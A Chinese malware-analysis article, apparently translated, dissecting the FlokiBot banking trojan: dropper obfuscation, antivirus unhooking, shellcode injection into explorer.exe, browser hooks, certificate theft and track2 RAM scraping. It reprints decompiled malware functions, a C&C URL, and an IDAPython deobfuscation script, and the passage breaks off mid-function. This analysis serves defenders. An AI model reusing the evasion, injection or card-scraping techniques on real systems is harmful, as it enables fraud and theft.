FlokiBot 银行木马详细分析
FlokiBot 是最近一款针对于欧洲和巴西联邦共和国的银行木马,作为一款恶意软件工具集,它在一些黑客论坛上被卖到$1000。它通过垃圾邮件和渗透代码工具包来传播。虽说它是继承于ZeuS(宙斯),FlokiBot 也做了很多有趣的改进。有诸如内存截取(RAM scraping),定制的 dropper 这样的新特性,还有似乎从泄露了源码的Carberp 那里借鉴了几行代码。
FlokiBot 与其 dropper 都有很多常用或不常用的混淆技术,我们将解开它们的神秘面纱,并着重讨论如何使用 IDA 和 IDAPython 脚本来静态脱壳。因为你们已经在最近很多恶意软件上接触过这些技术了,所以我觉得这是一次很好的锻炼。
在看完@hasherezade写的这篇关于 FlokiBot 的 dropper 文章:https://blog.malwarebytes.com/threat-analysis/2016/11/floki-bot-and-the-stealthy-dropper/. 之后,我决定看一下 FlokiBot。尽管大多数关于 FlokiBot 的文章都着重讲它的dropper,我还是想讲得更详细一些,然后再讲讲它的 payload;我们将会看到它有很多有有趣的特性,而且不是你平常所看到的 ZeuS 不一样,虽然它的很多代码是来自 ZeuS 和 Carberp leaks。还是比逆向勒索软件好。
Hash值:
$ rahash2 -a md5,sha1,sha256 -qq floki_dropper.vir 37768af89b093b96ab7671456de894bc 5ae4f380324ce93243504092592c7b275420a338 4bdd8bbdab3021d1d8cc23c388db83f1673bdab44288fccae932660eb11aec2a $ rahash2 -a md5,sha1,sha256 -qq floki_payload32.vir da4ea4e44ea3bb65e254b02b2cbc67e8 e8542a465810ff1396a316d1c46e96e042bf4189 9f1d2d251f693787dfc0ba8e64907e204f3cf2c7320f66007106caac0424a1f3
☀ FlokiBot Dropper
导入:模块/API 哈希处理与系统调用(syscall)
dropper 通过比较经过哈希处理的库名与内置哈希值来加载模块。哈希进程用到了一个基础的 CRC32,之后这个 CRC32 还要跟两个字节的密钥异或,那两个密钥随样本的不同而不同。
有两种方法来检索动态链接库(dll)库名:一是用 Process Environment Block 来检查 InMemoryOrderModuleList 的结构并读取 BaseDllName 的值来获取进程已经加载的dll。第二种方法是,通过在 Windows 系统文件夹中罗列库名。
下面的模块都被 dropper 导入了:
CRC Library Method ------------------------------------------------------ 84C06AAD ntdll.dll load_imports_peb 6AE6ABEF kernel32.dll load_imports_peb 2C2B3C88 948B9CAB C7F4511A wininet.dll load_imports_folder F734DCF8 ws2_32.dll load_imports_folder F16EE30D advapi32.dll load_imports_folder C8A18E35 shell32.dll load_imports_folder E20BF2CB shlwapi.dll load_imports_folder 1A50B19C secur32.dll load_imports_folder 630A1C77 crypt32.dll load_imports_folder 0248AE46 user32.dll load_imports_peb BD00960A 4FF44795 gdi32.dll load_imports_peb E069944C ole32.dll load_imports_folder CAAD3C25
之后,FlokiBot 将采取同样的操作来定位和加载这些模块用到的API.首先,当CRC后的名字是匹配的,那么它将检索 LdrGetProcedureAddress 在 ntdll 中的地址,并用它来获取其他 API 的句柄。这样做的话,函数的地址就仅对 debugger 可见。如此,分析代码将会非常困难,因我我们不知道调用了哪个 API。去混淆的一种方法将在下一章提到。
FlokiBot 与其 dropper 的另一有趣之处在于它们调用一些原生 API 函数的方式。这些函数位于 ntdll 中,并且以 Nt* 或者 Zw*为前缀。它们在实现的时候与其他 API 有些许不同,因为它们要用到 syscall 特别是 int 0x2e。下面的截图说明了它们是如何在 ntdll 中实现的。
正如我们所看到,系统调用的值放在 eax(在我64位Windows 7上,NtAllocateVirtualMemory 是在0x15 ),而且参数被传到 edx。x86 和 64 位的所有系统调用号(syscall number)都可以在这张网页找到:http://j00ru.vexillium.org/ntapi/.
在检查 ntdll 中的 API 时,FlokiBot 会先检查函数的第一个操作码是否为 0xB8 = MOV EAX, 若是,并且 CRC 后的 API 名也复合,它将提取 MOV EAX 后面的四个字节,也就是系统调用号,并将它保存在 dwSyscallArray 数组中。
在我的虚拟机上,当所有的系统调用号都被 dropper 提取后,dwSyscallArray 长这样。
Index API Syscall number ------------------------------------------------------- 0x0 NtCreateSection 0x47 0x1 NtMapViewOfSection 0x25 0x2 NtAllocateVirtualMemory 0x15 0x3 NtWriteVirtualMemory 0x37 0x4 NtProtectVirtualMemory 0x4D 0x5 NtResumeThread 0x4F 0x6 NtOpenProcess 0x23 0x7 NtDuplicateObject 0x39 0x8 NtUnmapViewOfSection 0x27
当 FlokiBot 需要调用某个原生函数的时候,它将调用自身的一个函数,那个函数直接从 dwSyscallArray 中检索系统调用号,传参,触发中断 0x2E。这些都跟它在 ntdll 中的实现方式一样。这就是为什么你不会看到任何这些 API 调用的轨迹,而且专门用来钩住这些 API 的监测工具也监测不到有调用它们。
☀ API 调用去混淆
既然 FlokiBot 的 payload 用到了相同的函数和数据结构,你可以用“IDAPython完全静态去混淆”模块,稍稍修改 IDAPython 脚本就可以将 dropper 的 API 调用去混淆。
☀ 解除挂钩模块
FlokiBot的一个有趣之处就在于它的 dropper 和 payload 都有解除挂钩操作。思路是卸载检测工具,沙箱和杀毒软件中的钩子。尽管这并不是恶意软件第一次使用这样的功能,比如说,Carberp 就有一个能 不让Trusteer的Rapport发现 的功能,还有最近的 Carbanak ,但这样的功能能真的非常罕见,应该值得注意。在这一部分,我将描述 FlokiBot 是如何解除挂钩的。
首先,FlokiBot 通过罗列 System32 文件夹中的 dll 来获得 ntdll.dll 的句柄,然后用我们上面所提到的哈希处理过程,最后调用 MapViewOfFile 来映射它在内存中的位置。结果就是,FlokiBot 有两个库在内存中映射的版本:一个是在导入期间导入的,这个可能会被监测工具的钩子改变,另一个是它直接从磁盘中映射的,这个是干净的。
NTDLL在磁盘中的映射——干净版本
由dropper导入的NTDLL——可能被钩住
现在,设置了正确的权限,FlokiBot 把映射干净 DLL 代码块的地址、导入的 dll 的地址入栈,然后调用解除挂钩操作。
因为它要重写它的内存里的一些数据以删除钩子,恶意软件需要改变导入的 NTDLL 代码导出段的内存保护机制。而它是通过用 int 0x2E 和之前提取的系统调用号(在我的 windows 版本是 0x4D)调用 NtProtectVirtualMemory 来做到的。我们可以看到如果某个钩子被发现,某一部分的代码就会变得可写。
解除挂钩函数可以描述为三步:对于 NTDLL 导出的每一个函数……
-
比较两个映射库的第一个操作码
-
如果它们不一致,说明导入的 ntdll 里的函数已经被钩住了。
-
改变导入的dll的内存保护机制,让它变成可写。
-
用从被映射到磁盘的 dll 复制来的操作码修补这个操作码。
解除挂钩操作的主要程序如下:
这样以来,很多监测工具、杀毒软件和沙箱都无法追踪恶意软件的调用。这个非常有用,如果你想要避免来自像 malwr.com. 这些网上沙箱的自动分析。
☀ 从资源中提取 Bot
它的 dropper 有 3 个明确命名的资源: key, bot32 和 bot64 。Bot 被 RtlCompressBuffer() 和 LZNT1 压缩,然后用有 16 字节密钥的 RC4 加密它。在我的样本里,密钥是:
A3 40 75 AD 2E C4 30 23 82 95 4C 89 A4 A7 84 00
你可以从 Talos 团队的 Github: https://github.com/vrtadmin/flokibot. 中找到可以备份这个 payload 和配置文件的 Python 脚本。要注意的是,它们并不能自己正确运行,因为它们要注入一个进程,还需要一些被 dropper 在内存中改写的数据。我们会在下一部分详谈注入进程。
提取资源的常用方法:
123456789101112131415161718192021222324252627282930313233343536373839BOOL
__userpurge extract_bot_from_rsrc@(
int
a1@,
HMODULE
hModule)
{
HRSRC
v2;
// eax@1
int
v3;
// eax@2
const
void
*v4;
// esi@5
HRSRC
v5;
// eax@7
int
v6;
// eax@8
HRSRC
v7;
// eax@10
unsigned
int
v8;
// eax@11
int
v10;
// [sp+4h] [bp-4h]@1
v10 = 0;
v2 = FindResourceW(hModule, L
"key"
, (
LPCWSTR
)0xA);
if
( v2 )
v3 = extract_rsrc(hModule, (
int
)&v10, v2);
else
v3 = 0;
if
( v3 )
{
v4 = (
const
void
*)v10;
if
( v10 )
{
qmemcpy((
void
*)(a1 + 84), (
const
void
*)v10, 0x10u);
free_heap(v4);
}
}
v5 = FindResourceW(hModule, L
"bot32"
, (
LPCWSTR
)0xA);
if
( v5 )
v6 = extract_rsrc(hModule, a1 + 4, v5);
else
v6 = 0;
*(_DWORD *)(a1 + 12) = v6;
v7 = FindResourceW(hModule, L
"bot64"
, (
LPCWSTR
)0xA);
if
( v7 )
v8 = extract_rsrc(hModule, a1 + 8, v7);
else
v8 = 0;
*(_DWORD *)(a1 + 16) = v8;
return
*(_DWORD *)(a1 + 4) && *(_DWORD *)(a1 + 12) > 0u && *(_DWORD *)(a1 + 8) && v8 > 0;
}
☀ 注入过程
dropper 并不是用常用的用 NtMapViewOfSection 和 NtWriteVirtualMemory 来将 payload 注入到 explorer.exe (或者svchost.exe,如果失败的话) 。它是用写并运行一个可以在进程内存中解密解压 payload 的 shellcode 来完成的。这很不常见,很有趣。dropping 的过程可以用下面的图片来总结:
-
-
dropper 在 explorer.exe / svchost.exe 里写一个 trampoline shellcode 和它自己的一个函数。
-
当运行时,trampoline 就会调用那个函数。
-
函数自动运行,并且动态解决导入、读取 dropper 的资源,并将它们提取到自己的进程内存中。(比如,在 explorer.exe / svchost.exe 的地址空间里)
-
最后,dropper 在目标进程中运行 bot payload 的入口点(entrypoint)。
第一个写在 explorer.exe 的shellcode(称为 trampoline )会休眠100ms,然后调用一个函数,那个函数 dropper 在进程内存中映射在 0x80000000 ,在该 dropper 中默认称为 sub_405E18 。这第二个阶段是要提取 bot payload,解密并解压它们。所有这些都发生在 explorer.exe / svchost.exe 内存中。
1234567891011121314$ rasm2 -a x86 -b 32 -D
'558BEC51C745FCFF10B4766864000000FF55FCC745FC000008006800000900FF55FC83C4048BE55DC3'
0x00000000 1 55 push ebp
0x00000001 2 8bec mov ebp, esp
0x00000003 1 51 push ecx
0x00000004 7 c745fcff10b476 mov dword [ebp - 4], 0x76b410ff ; address of sleep()
0x0000000b 5 6864000000 push 0x64
0x00000010 3 ff55fc call dword [ebp - 4] ; sleep()
0x00000013 7 c745fc00000800 mov dword [ebp - 4], 0x80000
0x0000001a 5 6800000900 push 0x90000
0x0000001f 3 ff55fc call dword [ebp - 4] ; sub_405E18, 2nd stage
0x00000022 3 83c404 add esp, 4
0x00000025 2 8be5 mov esp, ebp
0x00000027 1 5d pop ebp
0x00000028 1 c3 ret
sub_405E18 将通过与 dropper 和 payload 相同的进程来导入它需要的资源,用有些许不用的 crc32 和新的异或密钥。
123456789101112131415161718192021222324252627282930313233343536373839404142434445int
__stdcall sub_405E18(
int
a1)
{
[...]
if
( a1 && *(_DWORD *)(a1 + 4) && *(_DWORD *)a1 != -1 )
{
v1 = 0;
v34 = 0i64;
v35 = 0i64;
v36 = 0i64;
do
/* CRC Polynoms */
{
v2 = v1 >> 1;
if
( v1 & 1 )
v2 ^= 0xEDB88320;
if
( v2 & 1 )
v3 = (v2 >> 1) ^ 0xEDB88320;
else
v3 = v2 >> 1;
[...]
if
( v8 & 1 )
v9 = (v8 >> 1) ^ 0xEDB88320;
else
v9 = v8 >> 1;
v40[v1++] = v9;
}
while
( v1 < 0x100 );
v10 = shellcode_imp_dll((
int
)v40, 0x6AE6AF84);
v11 = shellcode_imp_dll((
int
)v40, 0x84C06EC6);
v30 = v12;
v13 = v11;
LODWORD(v34) = shellcode_imp_api(v10, (
int
)v40, 0x9CE3DCC);
DWORD1(v34) = shellcode_imp_api(v10, (
int
)v40, 0xDF2761CD);
DWORD2(v34) = shellcode_imp_api(v10, (
int
)v40, 0xF7C79EC4);
LODWORD(v35) = shellcode_imp_api(v10, (
int
)v40, 0xCD53C55B);
DWORD1(v36) = shellcode_imp_api(v10, (
int
)v40, 0xC97C2F79);
LODWORD(v36) = shellcode_imp_api(v10, (
int
)v40, 0x3FC18D0B);
DWORD2(v36) = shellcode_imp_api(v13, (
int
)v40, 0xD09F7D6);
DWORD1(v35) = shellcode_imp_api(v13, (
int
)v40, 0x9EEE7B06);
DWORD2(v35) = shellcode_imp_api(v13, (
int
)v40, 0xA4160E3A);
DWORD3(v35) = shellcode_imp_api(v13, (
int
)v40, 0x90480F70);
DWORD3(v36) = shellcode_imp_api(v13, (
int
)v40, 0x52FE165E);
v14 = ((
int
(__stdcall *)(_DWORD, _DWORD,
signed
int
,
signed
int
))v34)(0, *(_DWORD *)(a1 + 8), 0x3000, 64);
[...]
}
前两个哈希值,0x6AE6AF84 和 0x84C06EC6 应该是 'kernel32.dll'和'ntdll.dll' 的。我用 Python 来实现哈希过程,证实导入的那两个 DLL 确实是 kernel32 和 ntdll,然后我修改我的 Python 程序去解析它的导出表,想要知道函数导入的 API 的名字。我运行程序得到下面的 API。
1234567891011121314Python>run
[+] kernel32.dll (6AE6AF84) : Parsing...
0x09CE3DCC --> VirtualAlloc
0xDF2761CD --> OpenProcess
0xF7C79EC4 --> ReadProcessMemory
0xCD53C55B --> VirtualFree
0xC97C2F79 --> GetProcAddress
0x3FC18D0B --> LoadLibraryA
[+] ntdll.dll (84C06EC6) : Parsing...
0x0D09F7D6 --> NtClose
0x9EEE7B06 --> NtCreateSection
0xA4160E3A --> NtMapViewOfSection
0x90480F70 --> NtUnmapViewOfSection
0x52FE165E --> RtlDecompressBuffer
用这些函数,进程中的代码将可以读取 dropper 的资源(bot和RC4密钥)并且映射 payload 在内存中的位置。最后,远处终止的线程内容将会被修改,这样它的 EIP 将指向第一个 shellcode,该线程继续。
流程图
☀ FlokiBot Payload
这个 payload 是基于熟知并已经分析过的 ZeuS 木马,所以我不会每件事都详细描述。至于 dropper,我会更着重讲去混淆部分以及 FlokiBot 改进部分的实现。
配置
我运行 Talos 团队发布的 ConfigDump.py 程序,然后得到下面的C&C :
123$ python ConfigDump.py payload_32.vir
Successfully dumped config.bin.
URL: https:
//extensivee[.]bid/000L7bo11Nq36ou9cfjfb0rDZ17E7ULo_4agents/gate[.]php
✿ 用 IDAPython 完全静态去混淆
✿ 鉴别函数
首先,我们注意到 dropper 重用了一些 payload 的重要函数。创造该 dropper 的一个 Rizzo 签名并在 payload 中加载它能够 IDA 让识别并重命名少部分函数。
✿ API 调用和钩子的静态去混淆
思路是用 Python 重新实现哈希过程,哈希所有被 FlokiBot 加载的所有 API,然后将他们和我们用代码收集到的哈希值进行比较。如果匹配,我们就用 IDAPython 重命名该函数,使得反汇编更具可读性。因为 payload 用的是同样的 CRC 函数和同样的异或密钥,所以这个脚本对它们都管用。
→ 字符串去混淆
跟 ZeuS 和 Fobber(Tinaba 的进化版)一样,很多字符串都用它们自己的一字节的密钥异或加密了。恶意软件将所有的 ENCRYPTED_STRING 存储在一个数组中,并将在传输过程中通过下标去混淆。加密过的字符串将以下面的数据结构展现:
12345typedef
struct
{
char
xor_key;
WORD
size;
void
* strEncrypted;
} ENCRYPTED_STRING;
首先,为弄明白如何没有错误的检索出它们,我会运行一段代码罗列 decrypt_string 的参数是如何入栈的。
运行完我们的脚本后,这里有一个在 IDA 中反汇编后的样本:
→ 完整的 IDAPython 脚本
这是我用来去混淆该 payload 的完整的 Python 脚本:https://gist.github.com/adelmas/8c864315648a21ddabbd6bc7e0b64119.
它基于 IDAPython 和 PeFile。它专为静态分析设计,你不用开启任何 debugger 来让这段程序工作。它将完成以下的工作:
-
明确bot引入的所有函数并以[API name]_wrap 的格式重命名它们。
-
解析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。
-
解密字符串并将解密后的值放在解密字符串函数调用处的注释中。
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178# coding: utf-8
# ====================================================== #
# #
# FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT #
# #
# http://adelmas.com/blog/flokibot.php #
# #
# ====================================================== #
# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot.
# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger.
# May take a few minutes to resolve imports.
# Works with FlokiBot dropper with some small changes.
import sys
# sys.path.append("/usr/local/lib/python2.7/dist-packages")
# idaapi.enable_extlang_python(True)
import pefile
# RunPlugin("python", 3)
CRC_POLY = 0xEDB88320 # Depending on sample
XOR_KEY = 0x34ED # Depending on sample
ARRAY_ADDR = 0x41B350 # Depending on sample
ARRAY_ITER = 12 # Size of a triplet (3*
sizeof
(
DWORD
))
i = 0
# ----------------------------------------------------
# Generating CRC polynoms
# ----------------------------------------------------
poly = []
while
i < 256:
size = 8
b = i
while
size != 0:
if
b & 1:
b = (b >> 1) ^ CRC_POLY
else
:
b >>= 1
size -= 1
poly.insert(i, b)
i += 1
# ----------------------------------------------------
# FlokiBot CRC32
# ----------------------------------------------------
def crc32(name):
name_len = len(name)
i = 0
crc = 0xFFFFFFFF
while
i < name_len:
crc = poly[(crc ^ ord(name[i])) & 0xFF] ^ (crc >> 8)
i += 1
crc = (~crc) & 0xFFFFFFFF
return
crc
# ----------------------------------------------------
# DEOBFUSCATING API CALLS
# ----------------------------------------------------
array_dll = [
'ntdll'
,
'kernel32'
,
'wininet'
,
'ws2_32'
,
'advapi32'
,
'secur32'
,
'crypt32'
,
'shlwapi'
,
'ole32'
,
'gdi32'
,
'shell32'
,
'user32'
,
'urlmon'
#,
'nss3'
,
'nspr4'
,
'chrome'
]
dll_hash = {}
for
dll in array_dll:
h = crc32(dll +
'.dll'
) ^ XOR_KEY
dll_hash[h] = dll
"[+] %s.dll (%X) : Parsing..."
% (dll, h)
pe = pefile.PE(
"C:\\Windows\\System32\\"
+ dll +
".dll"
)
api_hash = {}
pe.parse_data_directories()
for
exp
in pe.DIRECTORY_ENTRY_EXPORT.symbols:
if
exp
.name:
api_crc = crc32(
exp
.name) ^ XOR_KEY
api_hash[api_crc] =
exp
.name
nb = 0
for
i in range(0, 287):
ea_name = (ARRAY_ADDR + i*ARRAY_ITER)
ea_func = Dword(ea_name)
ea_crc = ea_name + 4
MakeDword(ea_crc)
crc = Dword(ea_crc)
if
crc in api_hash:
if
MakeName(ea_func, api_hash[crc]+
"_wrap"
nb += 1
"[+] %s : Resolved %d API names"
% (dll, nb)
# ----------------------------------------------------
# PARSING HOOK STRUCT
# ----------------------------------------------------
sid = AddStruc(-1,
'HOOKWINAPI'
)
AddStrucMember(sid,
'functionForHook'
, 0, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid,
'hookerFunction'
, 4, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid,
'originalFunction'
, 8, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid,
'originalFunctionSize'
, 12, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid,
'dllHash'
, 16, FF_DWRD|FF_DATA, -1, 4)
AddStrucMember(sid,
'apiHash'
, 20, FF_DWRD|FF_DATA, -1, 4)
HOOKWINAPI_EA = 0x41B000
HOOKWINAPI_SIZE = 0x18
ea = HOOKWINAPI_EA
MakeName(HOOKWINAPI_EA,
"hookWinApi_array"
)
"Parsing hook table @ 0x%X"
% HOOKWINAPI_EA
for
i in range(0, 25):
for
field in range(0, 6):
MakeDword(ea+4*field)
fn_name = Name(Dword(ea))
hook_ea = Dword(ea+4)
MakeName(hook_ea,
"hook_"
+ fn_name)
hook_name = Name(Dword(ea+4))
ori_ea = ea+8
MakeName(ori_ea,
"ori_"
+ fn_name)
"[+] Hook on %s \t--> %s"
% (fn_name, hook_name)
ea += HOOKWINAPI_SIZE
# ----------------------------------------------------
# STRING DEOBFUSCATION
# ----------------------------------------------------
DECRYPT_FN_EA = 0x403948 # Depending on sample
ENCRYPTED_STRINGS_EA = 0x402278 # Depending on sample
DECRYPT_FN =
"decrypt_string"
ENCRYPTED_STRINGS =
"encrypted_strings"
ARRAY_SIZE = 0x77 # Depending on sample
decrypted_strings = {}
def backwardSearch(ea, instr):
while
True:
ea = PrevHead(ea)
if
GetMnem(ea) == instr:
return
ea
def decrypt_string(index, ea_encrypted):
string =
""
if
index == -1:
string =
"Invalid index"
return
string
encr_array = LocByName(ea_encrypted)
if
encr_array == 0xFFFFFFFF:
string =
"Invalid array for encrypted strings"
return
string
ea_item = encr_array + index*2*4
xor_k = Byte(ea_item)
size = Word(ea_item+2)
ptr_string = Dword(ea_item + 4)
MakeByte(ptr_string)
MakeArray(ptr_string, size)
"[%d] %X %X %X"
% (index, xor_k, size, ptr_string)
i = 0
if
size <= 0:
string =
"Size <= 0"
return
string
while
i < size:
ichr = i
string += str(unichr((i ^ xor_k ^ Byte(ptr_string + i)) & 0xFF))
i += 1
MakeComm(ptr_string, string) # Add comments with decrypted strings in the array
return
string
# ----------------------------------------------------
# Decrypting and commenting whole array
# ----------------------------------------------------
MakeName(DECRYPT_FN_EA, DECRYPT_FN)
MakeName(ENCRYPTED_STRINGS_EA, ENCRYPTED_STRINGS)
i = 0
loc = LocByName(DECRYPT_FN)
for
ea in range(loc, loc+ARRAY_SIZE):
decrypted_strings[i] = decrypt_string(i, ENCRYPTED_STRINGS)
i += 1
"[+] Decrypted %d strings :"
% (i)
print decrypted_strings
# ----------------------------------------------------
# Commenting calls to decryption function with decrypted strings
# ----------------------------------------------------
i = 0
for
xref in XrefsTo(LocByName(DECRYPT_FN)):
ea = xref.frm
mnem = GetMnem(PrevHead(ea))
index = 0
if
mnem ==
"xor"
:
index = 0
elif mnem ==
"pop"
:
ea = backwardSearch(ea,
"push"
)
index = GetOperandValue(ea, 0)
elif mnem ==
"inc"
:
index = 1
elif mnem ==
"mov"
:
index = GetOperandValue(ea, 1)
"Index : 0x%X"
% (index)
if
index in decrypted_strings:
MakeComm(xref.frm, decrypted_strings[index])
i += 1
"[+] Commented %d strings with decrypted values"
% (i)
"[+] Script is done."
→ 持久性
bot 用一个伪随机名字把自己复制到 C:\Documents and Settings\[username]\Application Data 并通过在 Windows 的启动文件夹创建一个 .lnk 来获得持久性。
123456789101112131415161718192021222324int
startup_lnk() {
int
v0;
// edi@1
_WORD *v1;
// ecx@1
int
v2;
// eax@2
_WORD *v3;
// ecx@2
const
void
*v4;
// eax@2
const
void
*v5;
// esi@3
int
strStartupFolder;
// [sp+8h] [bp-20Ch]@1
int
v8;
// [sp+210h] [bp-4h]@6
v0 = 0;
SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder);
// 7 = CSIDL_STARTUP
v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);
if
( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )
v5 = v4;
else
v5 = 0;
if
( v5 ) {
v8 = 0;
if
( build_lnk((
int
)&v8, (
const
char
*)L
"%s\\%s.lnk"
, &strStartupFolder, v5) > 0 )
v0 = v8;
cstm_FreeHeap(v5);
}
return
v0;
}
✿ 挂钩API
→ 概述
基于ZeuS,FlokiBot 用了同一种但又有些许不同的结构数组来存储它的钩子:
123456789typedef
struct
{
void
*functionForHook;
void
*hookerFunction;
void
*originalFunction;
DWORD
originalFunctionSize;
DWORD
dllHash;
DWORD
apiHash;
} HOOKWINAPI;
在我们运行完前面用来去混淆 API 调用的脚本,以及定位好钩子结构数组之后,我们就可以很轻易的用其他的 IDA 脚本来解析它,以确定和命名钩子函数(hook_* )。我们最后得到下面的表格:
Parsing hook table @ 0x41B000... Original Function Hooked Hooker Function DLL Hash API Hash ------------------------------------------------------------------------------------------------------------- NtProtectVirtualMemory_wrap hook_NtProtectVirtualMemory_wrap 84C06AAD (ntdll) 5C2D2E7A NtResumeThread_wrap hook_NtResumeThread_wrap 84C06AAD (ntdll) 6273819F LdrLoadDll_wrap hook_LdrLoadDll_wrap 84C06AAD (ntdll) 18364D1F NtQueryVirtualMemory_wrap hook_NtQueryVirtualMemory_wrap 84C06AAD (ntdll) 03F6C761 NtFreeVirtualMemory_wrap hook_NtFreeVirtualMemory_wrap 84C06AAD (ntdll) E9D6FAB3 NtAllocateVirtualMemory_wrap hook_NtAllocateVirtualMemory_wrap 84C06AAD (ntdll) E0761B06 HttpSendRequestW_wrap hook_HttpSendRequestW_wrap C7F4511A (wininet) 0BD4304A HttpSendRequestA_wrap hook_HttpSendRequestA_wrap C7F4511A (wininet) FF00851B HttpSendRequestExW_wrap hook_HttpSendRequestExW_wrap C7F4511A (wininet) AAB98346 HttpSendRequestExA_wrap hook_HttpSendRequestExA_wrap C7F4511A (wininet) 5E6D3617 InternetCloseHandle_wrap hook_InternetCloseHandle_wrap C7F4511A (wininet) E51929C9 InternetReadFile_wrap hook_InternetReadFile_wrap C7F4511A (wininet) 6CC0AC18 InternetReadFileExA_wrap hook_InternetReadFileExA_wrap C7F4511A (wininet) FEDE53D9 InternetQueryDataAvailable_wrap hook_InternetQueryDataAvailable_wrap C7F4511A (wininet) 1AF94509 HttpQueryInfoA_wrap hook_HttpQueryInfoA_wrap C7F4511A (wininet) 02B5094B closesocket_wrap hook_closesocket_wrap F734DCF8 (ws2_32) A5C6E39A send_wrap hook_send_wrap F734DCF8 (ws2_32) A7730E20 WSASend_wrap hook_WSASend_wrap F734DCF8 (ws2_32) B2927DE5 TranslateMessage_wrap hook_TranslateMessage_wrap 0248AE46 (user32) 5DD9FAF9 GetClipboardData_wrap hook_GetClipboardData_wrap 0248AE46 (user32) 1DCBE5AA PFXImportCertStore_wrap hook_PFXImportCertStore_wrap 1A50B19C (secur32) E0991FE4 PR_OpenTCPSocket_wrap hook_PR_OpenTCPSocket_wrap 948B9CAB (nss3) 3B8AA62A PR_Close_wrap hook_PR_Close_wrap 948B9CAB (nss3) 6D740323 PR_Read_wrap hook_PR_Read_wrap 948B9CAB (nss3) 5C9DC287 PR_Write_wrap hook_PR_Write_wrap 948B9CAB (nss3) 031EF8B8
它们中的大多数都有安装在 ZeuS 和其他银行恶意软件中。尽管如此,我们还是能够注意到 NtFreeVirtualMemory 和 NtProtectVirtualMemory 的一些有趣的、新的钩子。我们将在下一部分看到它们的用途。
→ 浏览器中间人(Man-in-the-Browser)
Floki 通过把自己注入到 Firefox 和 Chrome 进程中并拦截 LdrLoadDll 来实现浏览器中间人攻击。如果浏览器加载的 DLL 的哈希值和 nss3.dll, nspr4.dll 或 chrome.dll 任一个的哈希值匹配,API 钩子就会自动安装,让恶意软件可以实现表单抓取和网站注入。
12345678910111213141516171819202122232425262728293031323334int
__stdcall hook_LdrLoadDll_wrap(
int
PathToFile,
int
Flags,
int
ModuleFileName,
int
*ModuleHandle)
{
int
result;
// eax@2
int
filename_len;
// eax@8
int
dll_hash;
// eax@8
[...]
if
( cstm_WaitForSingleObject() ) {
v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);
v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
v12 = v6;
if
( v5 < 0 && v6 >= 0 && ModuleHandle && *ModuleHandle && ModuleFileName )
{
RtlEnterCriticalSection_wrap(&unk_41D9F4);
filename_len = cstm_strlen(*(_WORD **)(ModuleFileName + 4));
dll_hash = hash_filename(filename_len, v8);
if
( !(dword_41DA0C & 1) ) {
if
( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) {
// hash nss3.dll & nspr4.dll
sub_416DBD(*ModuleHandle, dll_hash);
if
( dword_41DC2C )
v11 = setNspr4Hooks(v10, dword_41DC2C);
}
else
if
( dll_hash == 0xCAAD3C25 ) {
// hash chrome.dll
if
( byte_41B2CC ) {
if
( setChromeHooks() )
dword_41DA0C |= 2u;
}
[...]
}
else
{
result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);
}
return
result;
}
→ 证书窃取
通过挂钩 PFXImportCertStore ,FlokiBot 可以窃取数字证书。此法 Zeus 和 Carberp 也有用到。
→ 保护钩子
FlokiBot 通过放置一个钩子和过滤 NtProtectVirtualMemory 调用来保护它的钩子,以防止它们被累死杀毒软件复位到原函数中。无论何时,当一个程序想要改变Floki已经注入的进程的内存保护机制的时候,Floki会阻断该调用并返回STATUS_ACCESS_DENIED.
12345678910111213141516171819202122232425unsigned
int
__stdcall hook_NtProtectVirtualMemory_wrap(
void
*ProcessHandle,
int
*BaseAddress,
int
NumberOfBytesToProtect,
int
NewAccessProtection,
int
OldAccessProtection)
{
int
retBaseAddress;
// [sp+18h] [bp+Ch]@7
[...]
v11 = 0;
v5 = BaseAddress;
if
( cstm_WaitForSingleObject() && BaseAddress && ProcessHandle == GetCurrentProcess() )
{
if
( check_base_addr(*BaseAddress) )
return
0xC0000022;
// STATUS_ACCESS_DENIED
RtlEnterCriticalSection_wrap(&unk_41E6E8);
v11 = 1;
}
retBaseAddress = NtProtectVirtualMemory_wrap(
ProcessHandle,
BaseAddress,
NumberOfBytesToProtect,
NewAccessProtection,
OldAccessProtection);
[...]
LABEL_18:
if
( v11 )
RtlLeaveCriticalSection_wrap(&unk_41E6E8);
return
retBaseAddress;
}
→ PoS恶意软件特征:内存截取
在我的前一篇文章中,我逆向了一款非常基础的叫做 TreasureHunter 的 PoS 恶意软件。它主要用内存截取为主要手段来窃取主账号(PAN)。
像大多数PoS恶意软件,FlokiBot 通过定期读取进程内存来搜索 track2 PAN 。显然,这并不是很有效,因为你不能时刻监测内存,这样就会漏掉很多潜在的 PAN。为克服这个问题,在 Floki 把自己注入到某一个进程后,它会放置一个钩子到 NtFreeVirtualMemory 中,这样当该进程想要释放一大块内存的时候它就可以提前搜寻 track2 PAN 。用这种方法,它就不太可能会错失PAN.
1234567891011121314int
__stdcall hook_NtFreeVirtualMemory_wrap(
HANDLE
ProcessHandle,
PVOID
*BaseAddress,
PSIZE_T
RegionSize,
ULONG
FreeType)
{
PVOID
v4;
// ebx@1
int
v5;
// edi@3
RtlEnterCriticalSection_wrap(&unk_41E6E8);
v4 = 0;
if
( BaseAddress )
v4 = *BaseAddress;
v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);
if
( v5 >= 0 && !dword_41E6A8 && ProcessHandle == (
